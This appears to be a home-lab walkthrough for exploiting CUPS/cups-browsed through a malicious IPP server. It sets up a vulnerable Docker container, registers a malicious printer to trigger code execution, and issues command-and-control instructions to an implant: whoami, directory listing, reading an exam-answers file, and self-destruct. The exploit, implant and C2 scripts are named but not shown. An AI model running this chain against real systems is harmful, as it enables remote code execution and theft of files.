**~/ipp-lab/**
**├── c2_server_CUPS.py**
**├── implant_CUPS.py**
**└── ipp-server/**
**└── exploit_CUPS.py**

**Steps:**

**Terminal 1:**
cd ~/ipp-lab

Install venv support & Docker
sudo apt-get update
sudo apt-get install -y python3-venv docker.io

Create and activate venv
python3 -m venv venv
source venv/bin/activate

Install Python dependencies inside venv
pip install --upgrade pip
pip install flask requests ippserver

Start C2 server
python3 c2_server_CUPS.py

**Terminal 2:**

Pull & run Ubuntu 14.04 with host networking
sudo docker pull ubuntu:14.04
sudo docker run -it --name vulnerable_cups --network host ubuntu:14.04 /bin/bash

Install CUPS and Python
apt-get update
apt-get install -y cups cups-browsed python3 python3-pip
pip3 install requests

Start CUPS then exit
service cups start

service cups-browsed start
exit

Copy implant onto host's /tmp
cp ~/ipp-lab/implant_CUPS.py /tmp/implant_CUPS.py

**Terminal 3:**

Run malicious IPP-server
cd ~/ipp-lab/ipp-server
./exploit_CUPS.py 127.0.0.1 127.0.0.1

**Terminal 4:**

Start the container and exec into it
sudo docker start vulnerable_cups
sudo docker exec -it vulnerable_cups /bin/bash

Install utilities and restart cups
apt-get update
apt-get install -y cups-bsd
service cups start
service cups-browsed start

Register malicious printer and trigger exploit
lpadmin -p malicious -v http://127.0.0.1:12345/printers/NAME -E
lpr -P malicious /etc/hosts
exit

**Terminal 1:**

UUID:whoami
UUID:cat /tmp/I_AM_VULNERABLE
UUID:cd ../.. && ls
UUID:cd ../.. && cd Documents && ls
UUID:cd ../.. && cd Documents && cat FINAL_EXAM_ANSWERS.txt
UUID:selfdestruct